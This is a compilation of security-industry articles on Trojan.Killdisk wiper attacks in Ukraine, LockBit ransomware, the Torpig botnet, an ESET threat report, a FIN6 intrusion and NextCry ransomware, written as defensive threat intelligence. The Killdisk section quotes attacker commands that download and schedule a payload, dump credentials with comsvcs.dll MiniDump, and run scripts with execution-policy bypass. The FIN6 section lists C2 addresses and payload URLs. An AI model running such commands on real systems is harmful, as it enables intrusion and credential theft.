A new form of disk-wiping malware (Trojan.Killdisk) was used to attack organizations in Ukraine shortly before the launch of a Russian invasion on February 24. Symantec, a division of Broadcom Software, has also found evidence of wiper attacks against machines in Lithuania. Sectors targeted included organizations in the financial, defense, aviation, and IT services sectors.
Trojan.Killdisk comes in the form of an executable file, which is signed by a certificate issued to Hermetica Digital Ltd. It contains 32-bit and 64-bit driver files compressed by the Lempel-Ziv algorithm stored in their resource section. The driver files are signed by a certificate issued to EaseUS Partition Master. The malware will drop the corresponding file according to the operating system (OS) version of the infected system. Driver file names are generated using the Process ID of the wiper.
Once run, the wiper will damage the Master Boot Record (MBR) of the infected computer, rendering it inoperable. The wiper does not appear to have any additional functionality beyond its destructive capabilities.
## Attack chain
Initial indications suggest that the attacks may have been in preparation for some time. Temporal evidence points to potentially related malicious activity beginning as early as November 2021. However, we are continuing to review and verify findings.
In the case of an attack against one organization in Ukraine, the attackers appear to have gained access to the network on December 23, 2021, via malicious SMB activity against a Microsoft Exchange Server. This was immediately followed by credential theft. A web shell was also installed on January 16, before the wiper was deployed on February 23.
An organization in Lithuania was compromised from at least November 12, 2021, onwards. It appears the attackers may have leveraged a Tomcat exploit to execute a PowerShell command. The decoded PowerShell was used to download a JPEG file from an internal server on the victim’s network.
```cmd
cmd.exe /Q /c powershell -c "(New-Object System.Net.WebClient).DownloadFile('hxxp://192.168.3.13/email.jpeg','CSIDL_SYSTEM_DRIVE\temp\sys.tmp1')" 1> \\127.0.0.1\ADMIN$\__1636727589.6007507 2>&1
```
A minute later, the attackers created a scheduled task to execute a suspicious ‘postgresql.exe’ file weekly on a Wednesday, specifically at 11:05 local time. The attackers then ran this scheduled task to execute the task.
```cmd
cmd.exe /Q /c move CSIDL_SYSTEM_DRIVE\temp\sys.tmp1 CSIDL_WINDOWS\policydefinitions\postgresql.exe 1> \\127.0.0.1\ADMIN$\__1636727589.6007507 2>&1
schtasks /run /tn "\Microsoft\Windows\termsrv\licensing\TlsAccess"
```
Nine minutes later, the attackers modified the scheduled task to execute the same postgres.exe file at 09:30 local time instead.
Beginning on February 22, Symantec observed the file ‘postgresql.exe’ being executed and used to perform the following:
- Execute certutil to check connectivity to trustsecpro[.]com and whatismyip[.]com
- Execute a PowerShell command to download another JPEG file from a compromised web server - confluence[.]novus[.]ua
Following this activity, PowerShell was used to dump credentials from the compromised machine:
```cmd
cmd.exe /Q /c powershell -c "rundll32 C:\windows\system32\comsvcs.dll MiniDump 600 C:\asm\appdata\local\microsoft\windows\winupd.log full" 1> \\127.0.0.1\ADMIN$\__1638457529.1247072 2>&1
```
Later, several unknown PowerShell scripts were executed.
```cmd
powershell -v 2 -exec bypass -File text.ps1
powershell -exec bypass gp.ps1
powershell -exec bypass -File link.ps1
```
Five minutes later, the wiper (Trojan.KillDisk) was deployed.
## SQL Server exploit
The attackers appear to have used an exploit of a known vulnerability in Microsoft SQL Server (CVE-2021-1636) to compromise at least one of the targeted organizations. In an attack against an organization in Ukraine, the following process lineage was used to execute the “whoami” command on November 11, 2021:
```cmd
CSIDL_SYSTEM_DRIVE\program files\microsoft sql server\mssql12.mssqlserver\mssql\binn\sqlservr.exe,CSIDL_SYSTEM\services.exe,CSIDL_SYSTEM\wininit.exe
```
The next day, the same process lineage was responsible for executing the following PowerShell command:
```cmd
(New-Object System.Net.WebClient).DownloadFile('hxxp://[INTERNAL_HOST]/label.ico','C:\temp\sys.tmp1')
```
The organization was running an unpatched version of Microsoft SQL Server.
## Ransomware decoy
In several attacks Symantec has investigated to date, ransomware was also deployed against affected organizations at the same time as the wiper. As with the wiper, scheduled tasks were used to deploy the ransomware. File names used by the ransomware included client.exe, cdir.exe, cname.exe, connh.exe, and intpub.exe. It appears likely that the ransomware was used as a decoy or distraction from the wiper attacks. This has some similarities to the earlier WhisperGate wiper attacks against Ukraine, where the wiper was disguised as ransomware.
## About the Author
**Threat Hunter Team**
Symantec
The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks. |
# LockBit Ransomware Gang Gets Aggressive with Triple-Extortion Tactic
LockBit ransomware gang announced that it is improving defenses against distributed denial-of-service (DDoS) attacks and working to take the operation to triple extortion level. The gang has recently suffered a DDoS attack, allegedly on behalf of digital security giant Entrust, that prevented access to data published on its corporate leaks site. Data from Entrust was stolen by LockBit ransomware in an attack on June 18, according to a BleepingComputer source. The company confirmed the incident and that data had been stolen.
Entrust did not pay the ransom and LockBit announced that it would publish all the stolen data on August 19. This did not happen, though, because the gang’s leak site was hit by a DDoS attack believed to be connected to Entrust.
## LockBit Getting into DDoS
Earlier this week, LockBitSupp, the public-facing figure of the LockBit ransomware operation, announced that the group is back in business with a larger infrastructure to give access to leaks unfazed by DDoS attacks. The DDoS attack last weekend that put a temporary stop to leaking Entrust data was seen as an opportunity to explore the triple extortion tactic to apply more pressure on victims to pay a ransom.
LockBitSupp said that the ransomware operator is now looking to add DDoS as an extortion tactic on top of encrypting data and leaking it. “I am looking for dudosers [DDoSers] in the team, most likely now we will attack targets and provide triple extortion, encryption + data leak + dudos, because I have felt the power of dudos and how it invigorates and makes life more interesting,” LockBitSupp wrote in a post on a hacker forum.
## Leaking Entrust Data
The gang also promised to share over torrent 300GB of data stolen from Entrust so “the whole world will know your secrets.” LockBit’s spokesperson said that they would share the Entrust data leak privately with anyone that contacts them before making it available over torrent. It appears that LockBit has kept its promise and released this weekend a torrent called “entrust.com” with 343GB of files.
The operators wanted to make sure that Entrust's data is available from multiple sources and, besides publishing it on their site, they also shared the torrent over at least two file storage services, with one of them no longer making it available.
## DDoS Defenses
One method already implemented to prevent further DDoS attacks is to use unique links in the ransom notes for the victims. “The function of randomization of links in the notes of the locker has already been implemented, each build of the locker will have a unique link that the dudoser [DDoSer] will not be able to recognize,” LockBitSupp posted. They also announced an increase in the number of mirrors and duplicate servers, and a plan to increase the availability of stolen data by making it accessible over clearnet, too, via a bulletproof storage service.
LockBit ransomware operation has been active for almost three years, since September 2019. At the time of writing, LockBit’s data leak site is up and running. The gang is listing more than 700 victims and Entrust is one of them, with data for the company leaked on August 27.
**Update [August 29, 09:12]:** Article updated with info on Entrust data being shared over clearnet. |
# Torpig
Torpig, also known as Anserin or Sinowal, is a type of botnet spread through systems compromised by the Mebroot rootkit by a variety of trojan horses for the purpose of collecting sensitive personal and corporate data such as bank account and credit card information. It targets computers that use Microsoft Windows, recruiting a network of zombies for the botnet. Torpig circumvents antivirus software through the use of rootkit technology and scans the infected system for credentials, accounts, and passwords, as well as potentially allowing attackers full access to the computer. It is also purportedly capable of modifying data on the computer and can perform man-in-the-browser attacks.
By November 2008, it was estimated that Torpig had stolen the details of about 500,000 online bank accounts and credit and debit cards and was described as "one of the most advanced pieces of crimeware ever created."
## History
Torpig reportedly began development in 2005, evolving from that point to more effectively evade detection by the host system and antivirus software. In early 2009, a team of security researchers from the University of California, Santa Barbara took control of the botnet for ten days. During that time, they extracted an unprecedented amount (over 70 GB) of stolen data and redirected 1.2 million IPs onto their private command and control server. The report goes into great detail about how the botnet operates. During the UCSB research team's ten-day takeover of the botnet, Torpig was able to retrieve login information for 8,310 accounts at 410 different institutions and 1,660 unique credit and debit card numbers from victims in the U.S. (49%), Italy (12%), Spain (8%), and 40 other countries, including cards from Visa (1,056), MasterCard (447), American Express (81), Maestro (36), and Discover (24).
## Operation
Initially, a great deal of Torpig's spread was attributable to phishing emails that tricked users into installing the malicious software. More sophisticated delivery methods developed since that time use malicious banner ads which take advantage of exploits found in outdated versions of Java, Adobe Acrobat Reader, Flash Player, and Shockwave Player. A type of drive-by download, this method typically does not require the user to click on the ad, and the download may commence without any visible indications after the malicious ad recognizes the old software version and redirects the browser to the Torpig download site. To complete its installation into the infected computer's Master Boot Record (MBR), the trojan will restart the computer.
During the main stage of the infection, the malware will upload information from the computer twenty minutes at a time, including financial data like credit card numbers and credentials for banking accounts, as well as email accounts, Windows passwords, FTP credentials, and POP/SMTP accounts. |
# ESET Threat Report T2 2021
## EXECUTIVE SUMMARY
Welcome to the T2 2021 issue of the ESET Threat Report! Despite threats seemingly looming around every corner, the past four months were the time of summer vacations for many of us, offering a much-needed break after the tough start of the year. I wish the same could be said for the area of cyberthreats, but as you’ll learn in the following pages, we’ve seen several concerning trends instead: increasingly aggressive ransomware tactics, intensifying brute-force attacks, and deceptive phishing campaigns targeting people working from home.
Indeed, the ransomware scene officially became too busy to keep track of in T2 2021, yet some incidents were impossible to miss. The attack shutting down the operations of Colonial Pipeline – the largest pipeline company in the US – and the supply-chain attack leveraging a vulnerability in the Kaseya IT management software sent shockwaves that were felt not only in the cybersecurity industry. Unlike the SolarWinds hack, the Kaseya attack appeared to pursue financial gain rather than cyberespionage, with the perpetrators setting a USD 70 million ultimatum – the heftiest known ransom demand to date.
But ransomware gangs may have overdone it this time: the involvement of law enforcement in these high-impact incidents forced several gangs to leave the field. The same can’t be said for TrickBot, which appears to have bounced back from last year’s disruption efforts, doubling in our detections and boasting new features. Emotet, on the other hand, following a final shutdown at the end of April, disappeared from the scene, reshuffling the whole threat landscape.
The past four months were fruitful in terms of research, too. Our researchers uncovered a diverse class of malware targeting IIS servers; a new cross-platform APT group targeting both Windows and Linux systems; and a myriad of security issues in Android stalkerware apps. They also took a closer look at the activities of the Gamaredon group, the Dukes, and the highly targeted DevilsTongue spyware, with the latter findings presented exclusively in this report.
## FEATURED STORY
### New IIS Web Server Threats Targeting Governments and E-commerce Transactions
ESET researchers have found over 80 unique samples of native IIS malware used in the wild, categorized into 14 malware families – 10 of which were previously undocumented. This diverse class of threats operates by eavesdropping on and tampering with IIS server communications.
IIS malware is a class of threats used for cybercrime, cyberespionage, and SEO fraud. Its main purpose is to intercept incoming HTTP requests to the compromised IIS server and affect how the server responds to these requests. ESET researchers detected a wave of IIS backdoors spread via the Microsoft Exchange pre-authentication RCE vulnerability chain.
### Android Threats
ESET researchers have been monitoring mobile stalkerware apps and found that they are full of vulnerabilities that expose the privacy of not only the victims but the stalkers themselves. We manually analyzed one Android stalkerware app from each of 86 different vendors, identifying a total of 158 security issues across 58 applications.
### Supply-Chain Attacks
ESET researchers have been monitoring the Kaseya supply-chain attacks attributed to the REvil gang and its Sodinokibi malware. Our telemetry shows that the majority of the targets are located in the United Kingdom, South Africa, Canada, Germany, the United States, and Colombia.
### APT Group Activity
ESET Research has uncovered a new APT group we’ve named BackdoorDiplomacy that primarily targets Ministries of Foreign Affairs in the Middle East and Africa. The group uses a backdoor dubbed Turian, which is an evolution of Quarian, a backdoor last observed in 2013.
## STATISTICS & TRENDS
The threat landscape in T2 2021 saw the number of all threat detections remain almost the same as in T1, increasing only negligibly (by 0.2%). The detection trend showed a small drop in the middle of July, followed by a major spike on August 23, caused by the DOC/Fraud trojan.
Ransomware saw the largest ransom demands to date, with data showing three major detection spikes during T2. In the Infostealer category, TrickBot demonstrated impressive growth in detections after having survived disruption efforts in 2020. In contrast, the disappearance of Emotet hit Downloaders hard – their detections were cut in half in T2 2021.
### Top 10 Malware Detections
1. HTML/Phishing.Agent trojan
2. DOC/Fraud trojan
3. Win/Exploit.CVE-2017-11882 trojan
4. HTML/Phishing trojan
5. HTML/Fraud trojan
6. JS/Agent trojan
7. LNK/Agent trojan
8. VBA/TrojanDownloader.Agent trojan
9. MSIL/Spy.Agent trojan
10. DOC/TrojanDownloader.Agent trojan
### Infostealers
TrickBot comes back in full force as infostealer detections continue to grow. T2 2021 brought on a 15.7% increase for infostealers. The overall increase in detections comes as no surprise – in the age of the internet, information is a lucrative commodity that can be easily monetized by malicious actors.
### Ransomware
ESET ransomware detections saw an overall stabilization with several notable upticks, mirroring increased cybercriminal activity in T2 2021. The first big uptick occurred on June 12, with 85% of that day’s detections caused by Win32/Sodinokibi.B attempting to compromise users mostly in the United States.
### Downloaders
Events of T2 2021 show how one well-executed takedown can send ripples through a whole threat category even months after it happened. The takedown of Emotet in January had far-reaching implications for the whole Downloader category, leading to a significant decline in activity.
### Cryptocurrency Threats
Cryptocurrency threat detections did not keep trending upwards in T2 2021. Following the drop of cryptocurrency prices in May, detections experienced a significant decline and fell by 23.6% from T1 2021.
For a deeper dive into ransomware techniques and actionable advice that can help organizations close some of the attack avenues, ESET just published a new white paper focusing exactly on those points. |
# Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware
## Summary
Recently, FireEye Managed Defense detected and responded to a FIN6 intrusion at a customer within the engineering industry, which seemed out of character due to FIN6’s historical targeting of payment card data. The intent of the intrusion was initially unclear because the customer did not have or process payment card data. Fortunately, every investigation conducted by Managed Defense or Mandiant includes analysts from our FireEye Advanced Practices team who help correlate activity observed in our hundreds of investigations and voluminous threat intelligence holdings. Our team quickly linked this activity with some recent Mandiant investigations and enabled us to determine that FIN6 has expanded their criminal enterprise to deploy ransomware in an attempt to further monetize their access to compromised entities.
This blog post details the latest FIN6 tactics, techniques, and procedures (TTPs), including ties to the use of LockerGoga and Ryuk ransomware families. It also highlights how early detection and response combined with threat intelligence gives Managed Defense customers a decisive advantage in stopping intruders before their goals manifest. In this instance, Managed Defense thwarted a potentially destructive attack that could have cost our customer millions of dollars due to business disruption.
## Detection and Response
Managed Defense worked in tandem with the customer’s security team to acquire relevant log data, share findings from system analysis, and answer critical investigative questions. The customer was also undergoing a penetration test, so additional scrutiny was required in order to delineate between authorized testing activity and unauthorized activity attributed to FIN6. Our customer provided valuable insight into the role and importance of affected systems in preparation for entering Rapid Response. Rapid Response is a service offering that delivers incident response support to Managed Defense customers. As with any incident response service, the primary goal is to scope the nature of the identified malicious activity and to assist our customers with a successful eradication event to eliminate the presence of adversaries.
Managed Defense, utilizing FireEye Endpoint Security technology, detected and responded to the threat activity identified within the customer’s environment. The subsequent investigation revealed FIN6 was in the initial phase of an intrusion using stolen credentials, Cobalt Strike, Metasploit, and publicly available tools such as Adfind and 7-Zip to conduct internal reconnaissance, compress data, and aid their overall mission.
Managed Defense investigated activity on two systems initially detected as compromised by FireEye Endpoint Security, the industry-leading endpoint security solution that was ranked as the most effective endpoint detection and response (EDR) solution. The activity was detected by comprehensive real-time methodology signatures designed to identify the most evasive adversary techniques. Pivoting from these initial leads, analysts identified suspicious SMB connections and Windows Registry artifacts that indicated the attacker had installed malicious Windows services to execute PowerShell commands on remote systems. Windows Event Log entries revealed the user account details responsible for the service installation and provided additional IOCs (Indicators of Compromise) to assist Managed Defense in scoping the compromise and identifying other systems accessed by FIN6. Managed Defense utilized Windows Registry Shellbag entries to reconstruct FIN6’s actions on compromised systems that were consistent with lateral movement.
## Attack Lifecycle
### Initial Compromise, Establish Foothold, and Escalate Privileges
To initially gain access to the environment, Managed Defense analysts identified that FIN6 compromised an internet-facing system. Following the compromise of this system, analysts identified FIN6 leveraged stolen credentials to move laterally within the environment using the Windows’ Remote Desktop Protocol (RDP).
Following the RDP connection to systems, FIN6 used two different techniques to establish a foothold:
1. **First technique**: FIN6 used PowerShell to execute an encoded command. The command consisted of a byte array containing a base64 encoded payload. The encoded payload was a Cobalt Strike httpsstager that was injected into the PowerShell process that ran the command. The Cobalt Strike httpsstager was configured to download a second payload. FireEye retrieved this resource and determined it was a shellcode payload configured to download a third payload. FireEye was unable to determine the final payload due to it no longer being hosted at the time of analysis.
2. **Second technique**: FIN6 also leveraged the creation of Windows services (named with a random 16-character string) to execute encoded PowerShell commands. The randomly named service is a by-product of using Metasploit, which creates the 16-character service by default. The encoded command contained a Metasploit reverse HTTP shellcode payload stored in a byte-array. The Metasploit reverse HTTP payload was configured to communicate with the command and control (C2) IP address with a randomly named resource over TCP port 443. This C2 URL contained shellcode that would make an HTTPS request for an additional download.
To achieve privilege escalation within the environment, FIN6 utilized a named pipe impersonation technique included within the Metasploit framework that allows for SYSTEM-level privilege escalation.
### Internal Reconnaissance and Lateral Movement
FIN6 conducted internal reconnaissance with a Windows batch file leveraging Adfind to query Active Directory, then 7-zip to compress the results for exfiltration. The outputs of the batch file included Active Directory users, computers, organizational units, subnets, groups, and trusts. With these outputs, FIN6 was able to identify user accounts that could access additional hosts in the domain. For lateral movement, FIN6 used another set of compromised credentials with membership to additional groups in the domain to RDP to other hosts.
### Maintain Presence
Within two hours of the initial detection, the systems were contained using FireEye Endpoint Security. Through containment, attacker access to the systems was denied while valuable forensic evidence remained intact for remote analysis. Due to Managed Defense’s Rapid Response and containment, FIN6 was unable to maintain presence or achieve their objective.
Through separate Mandiant Incident Response investigations, FireEye has observed FIN6 conducting intrusions to deploy either Ryuk or LockerGoga ransomware. The investigations observed FIN6 using similar tools, tactics, and procedures that were observed by FireEye Managed Defense during the earlier phases of the attack lifecycle. Mandiant observed additional indicators from the later attack lifecycle phases.
### Lateral Movement
FIN6 used encoded PowerShell commands to install Cobalt Strike on compromised systems. The attacker made use of Cobalt Strike’s “psexec” lateral movement command to create a Windows service named with a random 16-character string on the target system and execute encoded PowerShell. In some cases, the encoded PowerShell commands were used to download and execute content hosted on a paste site.
### Complete Mission
FIN6 also moved laterally to servers in the environment using RDP and configured them as malware “distribution” servers. The distribution servers were used to stage the LockerGoga ransomware, additional utilities, and deployment scripts to automate installation of the ransomware. Mandiant identified a utility script named kill.bat that was run on systems in the environment. This script contained a series of anti-forensics and other commands intended to disable antivirus and destabilize the operating system. FIN6 automated the deployment of kill.bat and the LockerGoga ransomware using batch script files. FIN6 created a number of BAT files on the malware distribution servers with the naming convention xaa.bat, xab.bat, xac.bat, etc. These BAT files contained psexec commands to connect to remote systems and deploy kill.bat along with LockerGoga. FIN6 renamed the psexec service name to “mstdc” in order to masquerade as the legitimate Windows executable “msdtc.” To ensure a high success rate, the attacker used compromised domain administrator credentials. Domain administrators have complete control over Windows systems in an Active Directory environment.
## Ransomware
Ryuk is a ransomware that uses a combination of public and symmetric-key cryptography to encrypt files on the host computer. LockerGoga is ransomware that uses 1024-bit RSA and 128-bit AES encryption to encrypt files and leaves ransom notes in the root directory and shared desktop directory.
## Attribution
FIN6 has traditionally conducted intrusions targeting payment card data from Point-of-Sale (POS) or eCommerce systems. This incident’s targeting of the engineering industry would be inconsistent with that objective. However, we have recently identified multiple targeted Ryuk and LockerGoga ransomware incidents showing ties to FIN6, through both Mandiant incident response investigations and FireEye Intelligence research into threats impacting other organizations. We have traced these intrusions back to July 2018, and they have reportedly cost victims tens of millions of dollars. As the frequency of these intrusions deploying ransomware have increased, the cadence of activity traditionally attributed to FIN6—intrusions targeting point-of-sale (POS) environments, deploying TRINITY malware and sharing other key characteristics—has declined. Given that, FIN6 may have evolved as a whole to focus on these extortive intrusions. However, based on tactical differences between these ransomware incidents and historical FIN6 activity, it is also possible that some FIN6 operators have been carrying out ransomware deployment intrusions independently of the group’s payment card breaches.
## Indicators
**Type** | **Indicator**
--- | ---
Network | 31.220.45[.]151
| 46.166.173[.]109
| 62.210.136[.]65
| 89.105.194[.]236
| 93.115.26[.]171
| 103.73.65[.]116
| 176.126.85[.]207
| 185.202.174[.]31
| 185.202.174[.]41
| 185.202.174[.]44
| 185.202.174[.]80
| 185.202.174[.]84
| 185.202.174[.]91
| 185.222.211[.]98
| hxxps://176.126.85[.]207:443/7sJh
| hxxps://176.126.85[.]207/ca
| hxxps://176.126.85[.]207:443/ilX9zObq6LleAF8BBdsdHwRjapd8_1Tl4Y-9Rc6hMbPXHPgVTWTtb0xfb7BpIyC1Lia31F5gCN_btvkad7aR2JF5ySRLZmTtY
| hxxps://pastebin[.]com/raw/0v6RiYEY
| hxxps://pastebin[.]com/raw/YAm4QnE7
| hxxps://pastebin[.]com/raw/p5U9siCD
| hxxps://pastebin[.]com/raw/BKVLHWa0
| hxxps://pastebin[.]com/raw/HPpvY00Q
| hxxps://pastebin[.]com/raw/L4LQQfXE
| hxxps://pastebin[.]com/raw/YAm4QnE7
| hxxps://pastebin[.]com/raw/p5U9siCD
| hxxps://pastebin[.]com/raw/tDAbbY52
| hxxps://pastebin[.]com/raw/u9yYjTr7
| hxxps://pastebin[.]com/raw/wrehJuGp
| hxxps://pastebin[.]com/raw/tDAbbY52
| hxxps://pastebin[.]com/raw/wrehJuGp
| hxxps://pastebin[.]com/raw/Bber9jae
Host | 031dd207c8276bcc5b41825f0a3e31b0
| 0f9931210bde86753d0f4a9abc5611fd
| 12597de0e709e44442418e89721b9140
| 32ea267296c8694c0b5f5baeacf34b0e
| 395d52f738eb75852fe501df13231c8d
| 39b7c130f1a02665fd72d65f4f9cb634
| 3c5575ce80e0847360cd2306c64b51a0
| 46d781620afc536afa25381504059612
| 4ec86a35f6982e6545b771376a6f65bb
| 73e7ddd6b49cdaa982ea8cb578f3af15
| 8452d52034d3b2cb612dbc59ed609163
| 8c099a15a19b6e5b29a3794abf8a5878
| 9d3fdb1e370c0ee6315b4625ecf2ac55
| d2f9335a305440d91702c803b6d046b6
| 34187a34d0a3c5d63016c26346371b54
| ad_users.txt
| ad_trustdmp.txt
| ad_subnets.txt
| ad_ous.txt
| ad_group.txt
| ad_computers.txt
| 7.exe
| Kill.bat
| Svchost.exe
| Mstdc.exe
## Detecting the Techniques
The following table contains several specific detection names, including methodology detections for several tools and techniques that applied to the initial infection activity as well as additional detection names for the ransomware used by FIN6.
**Platform** | **Signature Name**
--- | ---
Endpoint Security | METASPLOIT A (METHODOLOGY)
| SUSPICIOUS POWERSHELL USAGE (METHODOLOGY)
| BEACON A (FAMILY)
| SYSNATIVE ALIAS RUNDLL32.EXE (METHODOLOGY)
Network Security and Email Security | FE_Ransomware_Win64_Ryuk_1
| FE_Ransomware_Win_LOCKERGOGA_1
| FE_Ransomware_Win_LOCKERGOGA_2
| FE_Ransomware_Win32_LOCKERGOGA_1
| FE_Ransomware_Win32_LOCKERGOGA_2
| FE_Ransomware_Win64_LOCKERGOGA_1 |
# Hunting LockBit Variations using Logpoint
**Rasmus Plambech**
**October 18, 2022**
**– Anish Bogati & Nilaa Maharjan; Logpoint Global Services & Security Research**
## Executive Summary
LockBit has been implicated as the most active ransomware and has been involved in the most attacks compared to others of its kind. LockBit emerged in September 2019 functioning as ransomware-as-a-service (RaaS). Since then it evolved into LockBit 2.0 as a variant of the original LockBit ransomware gang. During this time, the gang started a double extortion model. Currently running as LockBit 3.0, or LockBit Black, the ransomware gang is actively targeting multiple sectors, most commonly banking, financial services, and insurance (BFSI). LockBit shares behaviors with MegaCortex and LockerGoga. It is self-spreading, targeted, and uses similar tools. The largest case of LockBit includes Accenture in August 2021 which stole 6 terabytes of data and demanded $50 million in ransom. LockBit 3.0 announced its own bug bounty program to let security researchers and hackers alike find flaws in their projects and infrastructure hosted on the dark web.
## What is LockBit?
LockBit, formerly known as “ABCD” ransomware due to the conversion of encrypted files to the “.abcd” extension, is a ransomware-as-a-service (RaaS) malware. The threat actors have been updating this ransomware's features and capabilities since it was first detected in September 2019. It also advertised itself as the fastest ransomware to encrypt files. It shares some similarities with Darkside/black matter ransomware, uses passwords to run like blackcat/aplhv, and is believed to be part of the LockerGoga & MegaCortex family. LockBit’s family of ransomware is known to be self-spreading, yet has been found targeting specific companies that are able to pay a large ransom.
The LockBit creators offer access to the ransomware program and its infrastructure to third-party hackers known as affiliates, who break into networks and install it on systems in exchange for a cut of up to 75% of the ransom paid by victims. LockBit, like most similar RaaS gangs, employ double extortion tactics in which its associates exfiltrate data from victim organizations and threaten to disclose it online.
According to research by ransomware incident response provider Coveware, LockBit was responsible for 15% of ransomware assaults seen in the first quarter of 2022, trailing only Conti with 16%. According to a more recent assessment, LockBit was responsible for 40% of the ransomware assaults seen by NCC Group in May, followed by Conti. While the overall number of ransomware incidents has decreased in recent months, the percentage that LockBit accounts for is likely to rise, partly because the Conti operation is believed to have shut down or splintered into smaller groups, and partly because LockBit is attempting to attract more affiliates by claiming to offer better terms than competitors.
## Origin and Evolution
LockBit has evolved from the early days of ABCD. The RaaS affiliate program was released in early 2020, followed by the data leak site and the addition of data leak extortion later that year. During its first year of operation, LockBit remained a minor participant, with other high-profile gangs—Ryuk, REvil, Maze, and others—being more successful and in the spotlight. With the release of LockBit 2.0 and after some of the other gangs shut down their activities due to too much pressure, the LockBit ransomware gained traction in the second half of 2021.
According to researchers from Palo Alto Networks’ Unit 42, LockBit 2.0 was “the most impactful and widely deployed ransomware variant we have observed in all ransomware breaches during the first quarter of 2022, considering both leak site data and data from cases handled by Unit 42 incident responders.” The group’s LockBit 2.0 site, which it uses to publish data from corporations whose networks it has infiltrated, names 850 victims, but the gang claims to have ransomed over 12,125 firms so far.
The group also claims that the LockBit 2.0 ransomware has the quickest encryption procedure, which according to Splunk researchers is only partially true. LockBit 1.0 and the ransomware program PwndLocker appear to be faster than LockBit 2.0, but the encryption process is still quite fast, thanks in part to the fact that these threats use partial encryption. LockBit 2.0, for example, encrypts only the first 4KB of each file, rendering it unreadable and unusable while also allowing the attack to finish quickly before incident responders have time to shut down systems and isolate them from the network.
Researchers have found connections between the current LockBit ransomware variant and BlackMatter, a rebranded form of the DarkSide ransomware strain that shut down in November 2021. LockBit 3.0, also known as LockBit Black, was released in June 2022, including a new leak site and the world’s first ransomware bug bounty program, with Zcash cryptocurrency as a payment option. It encrypts each file by appending the extension “HLJkNskOq” or “19MqZqZ0s” and changes the icons of the locked files to the “.ico” file dropped by the LockBit sample to initiate the infection.
## Who is LockBit targeting?
According to BlackFog’s most recent “Ransomware Trend Report,” there is a renewed emphasis on weaker targets, such as education (33% increase), government (25% increase), and manufacturing (24% increase). Attacks in June on the University of Pisa (which paid a $4.5 million ransom), Brooks County in Texas (which paid a $37,000 ransom with taxpayer money), and the Cape Cod Regional Transit Authority all demonstrate this. In total, 31 publicly publicized ransomware incidents were recorded by BlackFog in June. Matt Hull, NCC Group’s worldwide lead for strategic threat intelligence, finally pointed to “major changes” in the ransomware threat landscape, adding that “it is evident we are in a transitory phase.”
According to data from LockBit’s data leak site, nearly half of the victim organizations were from the United States, followed by Italy, Germany, Canada, France, and the United Kingdom. According to the LockBit gang member in the previous interview, the concentration on North American and European firms is owing to a larger prevalence of cyber insurance as well as higher profits in these regions. Professional and legal services, construction, the federal government, real estate, retail, high tech, and manufacturing have been the most impacted industry verticals. The malware also includes code that stops it from being executed on PCs configured with Eastern European language settings.
Based on tweets by @VX-underground Twitter bot @RansomwareNews from May 17 to September 22, LockBit accounted for twice as much as its closest competitor, BlackBasta, Aplhv/BlackCat, Hiveleak, and Clop. It should also be noted that the LockBit gang has created a separate malware application called StealBit that can be used to automate data exfiltration. This tool uploads the data directly to LockBit’s servers rather than using public file hosting sites, which may erase the data in response to victim complaints. The group has also created the LockBit Linux-ESXi Locker, which can encrypt Linux servers and VMware ESXi virtual machines.
LockBit attackers spent roughly 70 days within a network before releasing the ransomware in Q4 2021, 35 days in Q1 2022, and fewer than 20 days in Q2 2022. This means that enterprises have less time to detect network attacks in their early stages and prevent ransomware deployment. According to Palo Alto Networks, the attackers’ willingness to bargain and lessen the ransom sum has also decreased. Last year, the attackers were willing to reduce the ransom sum by more than 80%, but currently, victims may only expect a 30% price drop on average.
## LockBit Operations
After obtaining initial access to networks, LockBit affiliates deploy various tools to expand their access to other systems. These tools involve credential dumpers like Mimikatz; privilege escalation tools like ProxyShell; tools used to disable security products and various processes such as GMER, PC Hunter, and Process Hacker; network and port scanners to identify active directory domain controllers; remote execution tools like PsExec or Cobalt Strike for lateral movement. The activity also involves the use of obfuscated PowerShell and batch scripts and rogue scheduled tasks for persistence.
Once deployed, the LockBit ransomware can also spread to other systems via SMB connections using collected credentials as well as by using Active Directory group policies. When executed, the ransomware will disable Windows volume shadow copies and delete various system and security logs. The malware then collects system information such as hostname, domain information, local drive configuration, remote shares, and mounted storage devices, then will start encrypting all data on the local and remote devices it can access. After encrypting all the files, LockBit also changes the file’s icon with their icon.
After the registry entry is created, the icon from the “C:\ProgramData” is loaded in the registry value. When the encryption process of a file is completed, the icons of files are changed to the icon present in the above-mentioned registry key. However, it skips files that would prevent the system from functioning. In the end, it drops a ransom note by changing the user’s desktop wallpaper with information on how to contact the attackers.
We go into a lot of detail on how the threat actors have been operating, and the Tactic, Techniques, and Procedures (TTPs) they have been using through static and dynamic analysis in the report attached below. We uncovered multiple files, domains, and botnet networks that are still active in the wild. All artifacts are provided as lists and the associated alerts are available to download as part of Logpoint’s latest release, as well as through Logpoint’s download center.
Logpoint Emerging Threats Protection Service provides the service subscribers with customized investigation and response playbooks, tailored to your environment. Contact the global services team here.
The report containing the analysis, infection chain, detection, and mitigation using Logpoint SIEM and SOAR can be downloaded from the link below. |
# New NextCry Ransomware Encrypts Data on NextCloud Linux Servers
A new ransomware has been found in the wild that is currently undetected by antivirus engines on public scanning platforms. Its name is NextCry due to the extension appended to encrypted files and that it targets clients of the NextCloud file sync and share service. The malware targets Nextcloud instances and for the time being there is no free decryption tool available for victims.
## Zero detection
xact64, a Nextcloud user, posted on the BleepingComputer forum some details about the malware in an attempt to find a way to decrypt personal files. Although his system was backed up, the synchronization process had started to update files on a laptop with their encrypted version on the server. He took action the moment he saw the files renamed but some of them still got processed by NextCry, otherwise known as NextCry.
“I realized immediately that my server got hacked and those files got encrypted. The first thing I did was pull the server to limit the damage that was being done (only 50% of my files got encrypted)” - xact64
Looking at the malware binary, Michael Gillespie said that the threat seems new and pointed out the NextCry ransomware uses Base64 to encode the file names. The odd part is that an encrypted file's content is also encoded this way, after first being encrypted. The malware has not been submitted to the ID Ransomware service before but some details are available.
BleepingComputer discovered that NextCry is a Python script compiled in a Linux ELF binary using pyInstaller. At the moment of writing, not one antivirus engine on the VirusTotal scanning platform detects it.
## Nextcloud servers targeted
The ransom note is in a file named “READ_FOR_DECRYPT” stating that the data is encrypted with the AES algorithm with a 256-bit key. Gillespie confirmed that AES-256 is used and that the key is encrypted with an RSA-2048 public key embedded in the malware code.
